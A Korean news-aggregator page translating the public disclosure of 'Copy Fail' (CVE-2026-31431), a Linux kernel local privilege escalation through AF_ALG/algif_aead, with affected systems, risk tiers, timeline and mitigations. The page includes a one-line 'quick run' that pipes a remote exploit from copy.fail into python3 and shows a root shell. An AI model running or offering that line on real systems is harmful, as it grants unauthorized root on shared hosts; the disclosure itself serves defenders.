메뉴
HN
Hacker News 31일 전

리눅스 커널 전역 권한 상승 취약점 (CVE-2026-31431)

IMP
10/10
핵심 요약

2017년부터 패치 전까지 빌드된 거의 모든 리눅스 커널에 영향을 미치는 치명적인 로컬 권한 상승(LPE) 취약점입니다. 일반 사용자 권한만으로도 루트(Root) 권한을 획득할 수 있어 다중 테넌트 서버 및 클라우드 환경에 매우 심각한 위협을 줍니다. 해당 커널 보안 업데이트를 즉시 적용하거나, 패치 전에는 algif_aead 모듈을 비활성화하여 대응해야 합니다.

번역된 본문

복사 실패 (Copy Fail) – CVE-2026-31431 악용 (Exploit) | 완화 (Mitigation) | 자주 묻는 질문 (FAQ) | 타임라인 | 문의

데모 단 하나의 스크립트로 4개의 배포판, 4개의 루트 셸을 한 번에 획득합니다. 동일한 익스플로잇 바이너리가 모든 리눅스 배포판에서 수정 없이 작동합니다. tmux — copy fail 라이브 데모 poc(exp) | sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9 | 해당 트윗 ↗ 을 통해 처음 공개됨

영향을 받는 대상 2017년부터 패치가 적용되기 전까지 빌드된 커널을 사용 중이라면 영향을 받습니다. 이는 사실상 모든 주류 리눅스 배포판을 포함합니다. 이 취약점은 권한 없는 로컬 사용자 계정만 필요하며, 네트워크 접근, 커널 디버깅 기능 또는 사전 설치된 기본 요소가 필요하지 않습니다. 커널 암호화 API(AF_ALG)는 거의 모든 주류 배포판의 기본 설정에서 활성화되어 있으므로 2017년부터 패치 적용 전까지의 모든 기간이 기본적으로 취약점에 노출되어 있습니다.

직접 확인한 배포판: 배포판: Ubuntu 24.04 LTS | 커널: 6.17.0-1007-aws 배포판: Amazon Linux 2023 | 커널: 6.18.8-9.213.amzn2023 배포판: RHEL 14.3 | 커널: 6.12.0-124.45.1.el10_1 배포판: SUSE 16 | 커널: 6.12.0-160000.9-default

이것들은 우리가 직접 테스트한 것입니다. 영향을 받는 커널을 실행하는 다른 배포판(Debian, Arch, Fedora, Rocky, Alma, Oracle, 임베디드 환경 등)에서도 동일하게 작동합니다.

패치를 먼저 해야 합니까?

[위험도: 높음] 다중 테넌트 리눅스 호스트 공유 개발 머신, 셸 서비스(Shell-as-a-service), 점프 호스트, 빌드 서버 등 여러 사용자가 커널을 공유하는 모든 환경. -> 모든 사용자가 루트가 될 수 있음

[위험도: 높음] 쿠버네티스(Kubernetes) / 컨테이너 클러스터 페이지 캐시(Page Cache)는 호스트 전체에서 공유됩니다. 올바른 기본 요소를 갖춘 파드(Pod)는 노드를 손상시키고 테넌트 경계를 넘어설 수 있습니다. -> 컨테이너 간, 테넌트 간 침투 가능

[위험도: 높음] CI 러너 및 빌드 팜 GitHub Actions 셀프 호스티드 러너, GitLab 러너, Jenkins 에이전트 등 공유 커널에서 일반 사용자로 신뢰할 수 없는 PR 코드를 실행하는 모든 환경. -> PR이 러너에서 루트 권한을 획득함

[위험도: 높음] 사용자 코드를 실행하는 클라우드 SaaS 노트북 호스팅, 에이전트 샌드박스, 서버리스 기능, 사용자가 제공한 컨테이너나 스크립트를 실행하는 모든 환경. -> 테넌트가 호스트의 루트 권한을 획득함

[위험도: 중간] 표준 리눅스 서버 팀원만 셸 접근 권한을 가진 단일 테넌트 프로덕션 환경. -> 내부 로컬 권한 상승(LPE); 웹 RCE 또는 탈취된 자격 증명과 연계 가능

[위험도: 낮음] 단일 사용자 랩톱 및 워크스테이션 이미 유일한 사용자입니다. 이 버그 자체로는 원격 공격자에게 접근 권한을 부여하지 않지만, 모든 로컬 코드 실행이 루트 권한으로 전환됩니다. -> 익스플로잇 이후 권한 상승 단계

익스플로잇 (Exploit) PoC(개념 증명)는 수비수가 자신의 시스템을 확인하고 공급업체 패치를 검증할 수 있도록 공개됩니다. 책임감 있게 사용하십시오. 자신이 소유하거나 테스트할 서면 권한이 있는 시스템에서만 실행하십시오. 스크립트는 setuid 바이너리의 페이지 캐시를 편집하며, 이 변경은 재부팅 후에도 유지되지 않지만 결과적으로 얻어지는 루트 셸은 실제입니다. 프로덕션 환경에서는 실행하지 마십시오.

copy_fail_exp.py (732 B) 독립형 PoC. Python 3.10+ 표준 라이브러리만 사용(os, socket, zlib). 기본적으로 /usr/bin/su를 대상으로 함; 다른 setuid 바이너리를 argv[1]로 전달 가능. sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9 다운로드 (GitHub)

verify.sh (~1 KB) 파괴적이지 않은 확인 도구. algif_aead를 로드할 수 있는지, 그리고 커널의 authencesn에 여전히 스크래치 쓰기 경로(scratch-write path)가 있는지 감지합니다. 권한을 상승시키지 않습니다. sha256: — 다운로드 (GitHub)

빠른 실행: $ curl https://copy.fail/exp | python3 && su

id

uid=0(root) gid=1002(user) groups=1002(user)

이슈 트래커: https://github.com/theori-io/copy-fail-CVE-2026-31431

완화 (Mitigation) 패치를 최우선으로 하십시오. 배포판의 커널 패키지를 메인라인 커밋 a664bf3d603d가 포함된 버전으로 업데이트하십시오. 이 커밋은 2017년의 algif_aead 인플레이스(in-place) 최적화를 되돌려서 페이지 캐시 페이지가 더 이상 쓰기 가능한 대상 분산 목록(scatterlist)에 들어가지 않도록 합니다. 대부분의 주요 배포판은 현재 이 수정 사항을 배포하고 있습니다.

패치하기 전에 임시 조치를 취하려면: algif_aead 모듈을 비활성화하십시오.

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf

rmmod algif_aead 2>/dev/null || true

이렇게 하면 무엇이 중단되나요? 대다수의 시스템에서는 측정할 수 있는 영향이 없습니다(문제 없이 작동). dm-crypt / LUKS, kTLS, IPsec/XFRM, 커널 내 TLS, OpenSSL/GnuTLS/NSS 기본 빌드, SSH, 커널 키링(Keyring) 암호화에는 영향을 주지 않습니다.

원문 보기
원문 보기 (영어)
Copy Fail CVE-2026-31431 Exploit Mitigation FAQ Timeline Contact The demo Same script, four distributions, four root shells — in one take. The same exploit binary works unmodified on every Linux distribution. tmux — copy fail demo live poc(exp) | sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9 | first revealed by this tweet ↗ Who is affected If your kernel was built between 2017 and the patch — which covers essentially every mainstream Linux distribution — you're in scope. Copy Fail requires only an unprivileged local user account — no network access, no kernel debugging features, no pre-installed primitives. The kernel crypto API ( AF_ALG ) ships enabled in essentially every mainstream distro's default config, so the entire 2017 → patch window is in play out of the box. Distributions we directly verified: Distribution Kernel Ubuntu 24.04 LTS 6.17.0-1007-aws Amazon Linux 2023 6.18.8-9.213.amzn2023 RHEL 14.3 6.12.0-124.45.1.el10_1 SUSE 16 6.12.0-160000.9-default These are what we tested directly. Other distributions running affected kernels — Debian, Arch, Fedora, Rocky, Alma, Oracle, the embedded crowd — behave the same. Tested it elsewhere? Open an issue to add to the list. Should you patch first? High Multi-tenant Linux hosts Shared dev boxes, shell-as-a-service, jump hosts, build servers — anywhere multiple users share a kernel. any user becomes root High Kubernetes / container clusters The page cache is shared across the host. A pod with the right primitives compromises the node and crosses tenant boundaries. cross-container, cross-tenant High CI runners & build farms GitHub Actions self-hosted runners, GitLab runners, Jenkins agents — anything that executes untrusted PR code as a regular user, on a shared kernel. a PR becomes root on the runner High Cloud SaaS running user code Notebook hosts, agent sandboxes, serverless functions, any tenant-supplied container or script. tenant becomes host root Medium Standard Linux servers Single-tenant production where only your team has shell access. internal LPE; chains with web RCE or stolen creds Lower Single-user laptops & workstations You're already the only user. The bug doesn't grant remote attackers access by itself, but any local code execution becomes root. post-exploitation step-up Exploit The PoC is published so defenders can verify their own systems and validate vendor patches. Use responsibly. Run only on systems you own or have written authorization to test. The script edits the page cache of a setuid binary; the change is not persistent across reboot, but the resulting root shell is real. Don't run it on production. copy_fail_exp.py 732 B Standalone PoC. Python 3.10+ stdlib only ( os , socket , zlib ). Targets /usr/bin/su by default; pass another setuid binary as argv[1] . sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9 Download (GitHub) verify.sh ~1 KB Non-destructive checker. Detects whether algif_aead is loadable and whether your kernel's authencesn still has the scratch-write path. Doesn't escalate. sha256: — Download (GitHub) --> Quick run: $ curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user) Issue tracker: https://github.com/theori-io/copy-fail-CVE-2026-31431 Mitigation Patch first. Update your distribution's kernel package to one that includes mainline commit a664bf3d603d — it reverts the 2017 algif_aead in-place optimization, so page-cache pages can no longer end up in the writable destination scatterlist. Most major distributions are shipping the fix now. Before you can patch: disable the algif_aead module. # echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf # rmmod algif_aead 2>/dev/null || true What does this break? For the vast majority of systems — nothing measurable. Will not affect: dm-crypt / LUKS, kTLS, IPsec/XFRM, in-kernel TLS, OpenSSL/GnuTLS/NSS default builds, SSH, kernel keyring crypto. These all use the in-kernel crypto API directly — they don't go through AF_ALG . May affect: userspace specifically configured to use AF_ALG — e.g. OpenSSL with the afalg engine explicitly enabled, some embedded crypto offload paths, or applications that bind aead / skcipher / hash sockets directly. Check with lsof | grep AF_ALG or ss -xa if in doubt. Performance: AF_ALG is a userspace front door to the kernel crypto API. Disabling it does not slow anything that wasn't already calling it; for the things that were, performance falls back to a normal userspace crypto library, which is what almost everything else already does. For untrusted workloads (containers, sandboxes, CI), block AF_ALG socket creation via seccomp regardless of patch state. FAQ Loading FAQ… Disclosure timeline 2026-03-23 Reported to Linux kernel security team 2026-03-24 Initial acknowledgment 2026-03-25 Patches proposed and reviewed 2026-04-01 Patch committed to mainline 2026-04-22 CVE-2026-31431 assigned 2026-04-29 Public disclosure ( https://copy.fail/ ) Xint Code Is your software AI-era safe? Copy Fail was surfaced by Xint Code about an hour of scan time against the Linux crypto/ subsystem. Full root cause, diagrams, and the operator prompt that found it are in the Xint blog write-up . The same scan also surfaced other high-severity bugs, still in coordinated disclosure. Xint Code audits production codebases the same way — one operator prompt, no harnessing, prioritized findings with trigger and impact narratives. Try Xint Code → Xint's Public Bug Tracker Track record 0-day RCE ZeroDay Cloud Swept the database category — Redis, PostgreSQL, MariaDB. Zero human intervention. Top 3 DARPA AIxCC Finalist in the AI Cyber Challenge hosted by DoD DARPA. 9× DEF CON CTF Most-winning team in DEF CON CTF history. Contact our team →